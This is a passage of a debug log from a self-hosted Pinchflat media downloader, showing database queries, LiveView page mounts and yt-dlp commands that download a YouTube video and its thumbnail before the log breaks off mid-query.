[debug] QUERY OK source="media_items" db=0.4ms idle=671.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:13:05.840 [debug] QUERY OK source="media_items" db=0.7ms idle=671.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:13:05.840 [debug] QUERY OK source="sources" db=0.2ms idle=672.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:05.840 [debug] Replied in 2ms 21:13:05.845 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "WcmVlACurCE6ECYlcb085ecS", "media_state" => "pending"} 21:13:05.846 [debug] QUERY OK source="media_items" db=0.7ms idle=677.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:13:05.847 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=134.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:13:05.849 [debug] QUERY OK source="sources" db=0.4ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:05.849 [debug] Replied in 4ms 21:13:05.852 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "WcmVlACurCE6ECYlcb085ecS"} 21:13:05.853 [debug] QUERY OK source="tasks" db=0.5ms idle=13.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:13:05.854 [debug] QUERY OK source="media_items" db=0.3ms idle=13.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [21, 22] 21:13:05.854 [debug] Replied in 2ms 21:13:05.856 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "WcmVlACurCE6ECYlcb085ecS"} 21:13:05.856 [debug] Replied in 232µs 21:13:28.653 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:28.877 [info] GET / 21:13:28.877 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:13:28.877 [debug] QUERY OK source="settings" db=0.1ms idle=1820.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:28.878 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1820.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:13:28.878 [debug] QUERY OK source="sources" db=0.0ms idle=1120.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:13:28.878 [debug] QUERY OK source="media_items" db=0.0ms idle=225.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:13:28.878 [debug] QUERY OK source="media_items" db=0.1ms idle=119.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:13:28.879 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:28.879 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:28.879 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:28.880 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:13:28.881 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [21, 22] 21:13:28.881 [debug] QUERY OK source="media_items" db=0.0ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:13:28.882 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:13:28.882 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:28.884 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:13:28.884 [debug] QUERY OK source="media_items" db=0.4ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:13:28.885 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:28.886 [info] Sent 200 in 9ms 21:13:29.059 [info] CONNECTED TO Phoenix.LiveView.Socket in 41µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PQMgFyUgEDghHighUA8FIAJEZyQ4cVUurJzudSCqfqBo9GLrX5SpJ53k", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:13:29.087 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded"} 21:13:29.088 [debug] QUERY OK source="media_items" db=0.1ms idle=205.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:13:29.088 [debug] QUERY OK source="media_items" db=0.1ms idle=205.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:13:29.088 [debug] QUERY OK source="sources" db=0.0ms idle=204.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:29.088 [debug] Replied in 992µs 21:13:29.090 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending"} 21:13:29.090 [debug] QUERY OK source="media_items" db=0.1ms idle=205.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:13:29.090 [debug] QUERY OK source="media_items" db=0.2ms idle=205.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:13:29.090 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:29.090 [debug] Replied in 786µs 21:13:29.091 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:13:29.091 [debug] QUERY OK source="tasks" db=0.1ms idle=3.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:13:29.092 [debug] QUERY OK source="media_items" db=0.0ms idle=3.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [21, 22] 21:13:29.092 [debug] Replied in 482µs 21:13:29.092 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:13:29.092 [debug] Replied in 41µs 21:13:58.655 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.587 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:17.542 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iL7lW-jOI_M --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/3d/43/3d43744f5253db4c8e9ff5c477c22c4476c2ca744cc3b827afc40aa8d9715495.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:14:17.558 [debug] Running yt-dlp command for action: download_thumbnail 21:14:17.559 [debug] QUERY OK source="settings" db=0.0ms idle=1501.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:17.559 [debug] QUERY OK source="settings" db=0.0ms idle=1501.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:17.559 [debug] QUERY OK source="settings" db=0.0ms idle=718.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:14:17.559 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iL7lW-jOI_M --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/21/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/06/2f/062f7fc91807e56c8cced81e0897e4035769e0b4420f6ef54ffd3f13ac3f71c6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:14:20.218 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iL7lW-jOI_M --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/21/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/06/2f/062f7fc91807e56c8cced81e0897e4035769e0b4420f6ef54ffd3f13ac3f71c6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:14:20.218 [debug] QUERY OK db=0.0ms idle=1161.0ms begin [] 21:14:20.219 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:14:17Z], "/downloads/Last Meals/2025-09-11 Caleb Hearon Eats His Last Meal/Caleb Hearon Eats His Last Meal [iL7lW-jOI_M].mp4", ~U[2026-03-28 01:14:20Z], 21] 21:14:20.219 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/21/metadata.json.gz", "/config/metadata/media_items/21/thumbnail.jpg", 21, ~U[2026-03-28 01:14:20Z], ~U[2026-03-28 01:14:20Z]] 21:14:20.219 [debug] QUERY OK db=0.0ms commit [] 21:14:20.239 [debug] QUERY OK source="media_items" db=0.7ms idle=1181.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE 